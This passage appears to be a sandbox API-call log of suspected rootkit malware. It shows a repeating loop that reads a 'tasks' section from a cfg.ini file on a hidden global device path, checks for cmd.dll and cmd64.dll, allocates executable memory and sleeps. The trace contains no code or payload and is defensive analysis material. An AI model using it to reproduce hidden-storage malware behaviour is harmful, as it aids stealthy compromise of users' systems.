[0124.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.686] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.686] IdePortDispatch () returned 0x103 [0124.686] KeWaitForMutexObject () returned 0x0 [0124.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.686] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.686] IdePortDispatch () returned 0x103 [0124.686] KeWaitForMutexObject () returned 0x0 [0124.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.686] KeLeaveCriticalRegion () [0124.686] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.687] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.687] KeEnterCriticalRegion () [0124.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.687] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.687] KeLeaveCriticalRegion () [0124.687] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.687] KeEnterCriticalRegion () [0124.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.687] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.687] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.687] KeLeaveCriticalRegion () [0124.687] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.687] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.687] KeEnterCriticalRegion () [0124.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.687] ExFreePoolWithTag (P=0xfffffa8003bf2340, Tag=0x0) [0124.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.687] KeLeaveCriticalRegion () [0124.687] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.687] ReleaseMutex (hMutex=0xf0) returned 1 [0124.687] Sleep (dwMilliseconds=0x927c0) [0124.702] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.702] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.702] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.702] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.702] KeEnterCriticalRegion () [0124.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.702] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.702] IdePortDispatch () returned 0x103 [0124.702] KeWaitForMutexObject () returned 0x0 [0124.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.702] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.702] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.703] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.703] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.703] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf17f0 [0124.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.703] KeLeaveCriticalRegion () [0124.703] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.703] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.703] KeEnterCriticalRegion () [0124.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.703] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.703] KeLeaveCriticalRegion () [0124.703] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.703] KeEnterCriticalRegion () [0124.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.703] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.703] IdePortDispatch () returned 0x103 [0124.703] KeWaitForMutexObject () returned 0x0 [0124.703] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.703] KeLeaveCriticalRegion () [0124.703] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.703] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.703] KeEnterCriticalRegion () [0124.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.703] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a5000 [0124.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.703] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.703] IdePortDispatch () returned 0x103 [0124.704] KeWaitForMutexObject () returned 0x0 [0124.704] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.704] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.704] IdePortDispatch () returned 0x103 [0124.704] KeWaitForMutexObject () returned 0x0 [0124.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.704] KeLeaveCriticalRegion () [0124.704] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.704] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.704] KeEnterCriticalRegion () [0124.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.704] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.705] KeLeaveCriticalRegion () [0124.705] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.705] KeEnterCriticalRegion () [0124.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.705] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.705] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.705] KeLeaveCriticalRegion () [0124.705] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.705] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.705] KeEnterCriticalRegion () [0124.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.705] ExFreePoolWithTag (P=0xfffffa8003bf17f0, Tag=0x0) [0124.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.705] KeLeaveCriticalRegion () [0124.705] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.705] ReleaseMutex (hMutex=0xf0) returned 1 [0124.705] Sleep (dwMilliseconds=0x927c0) [0124.719] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.719] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.719] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.719] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.719] KeEnterCriticalRegion () [0124.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.719] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.719] IdePortDispatch () returned 0x103 [0124.719] KeWaitForMutexObject () returned 0x0 [0124.719] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.719] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.719] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.720] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.720] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.720] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3930 [0124.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.720] KeLeaveCriticalRegion () [0124.720] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.720] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.720] KeEnterCriticalRegion () [0124.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.720] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.720] KeLeaveCriticalRegion () [0124.720] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.720] KeEnterCriticalRegion () [0124.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.720] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.720] IdePortDispatch () returned 0x103 [0124.720] KeWaitForMutexObject () returned 0x0 [0124.720] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.720] KeLeaveCriticalRegion () [0124.720] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.720] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.720] KeEnterCriticalRegion () [0124.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.720] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035aa000 [0124.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.720] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.720] IdePortDispatch () returned 0x103 [0124.721] KeWaitForMutexObject () returned 0x0 [0124.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.721] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.721] IdePortDispatch () returned 0x103 [0124.721] KeWaitForMutexObject () returned 0x0 [0124.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.721] KeLeaveCriticalRegion () [0124.721] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.721] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.721] KeEnterCriticalRegion () [0124.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.721] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.721] KeLeaveCriticalRegion () [0124.722] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.722] KeEnterCriticalRegion () [0124.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.722] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.722] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.722] KeLeaveCriticalRegion () [0124.722] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.722] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.722] KeEnterCriticalRegion () [0124.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.722] ExFreePoolWithTag (P=0xfffffa8003bf3930, Tag=0x0) [0124.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.722] KeLeaveCriticalRegion () [0124.722] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.722] ReleaseMutex (hMutex=0xf0) returned 1 [0124.722] Sleep (dwMilliseconds=0x927c0) [0124.736] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.736] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.736] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.736] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.736] KeEnterCriticalRegion () [0124.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.736] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.736] IdePortDispatch () returned 0x103 [0124.737] KeWaitForMutexObject () returned 0x0 [0124.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.737] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.737] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.737] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.737] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.737] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ea0 [0124.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.737] KeLeaveCriticalRegion () [0124.737] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.737] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.737] KeEnterCriticalRegion () [0124.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.737] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.737] KeLeaveCriticalRegion () [0124.737] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.737] KeEnterCriticalRegion () [0124.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.737] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.737] IdePortDispatch () returned 0x103 [0124.737] KeWaitForMutexObject () returned 0x0 [0124.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.737] KeLeaveCriticalRegion () [0124.737] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.737] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.737] KeEnterCriticalRegion () [0124.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.737] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035af000 [0124.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.737] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.737] IdePortDispatch () returned 0x103 [0124.738] KeWaitForMutexObject () returned 0x0 [0124.738] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.738] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.738] IdePortDispatch () returned 0x103 [0124.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.738] KeLeaveCriticalRegion () [0124.738] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.738] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.739] KeEnterCriticalRegion () [0124.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.739] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.739] KeLeaveCriticalRegion () [0124.739] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.739] KeEnterCriticalRegion () [0124.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.739] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.739] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 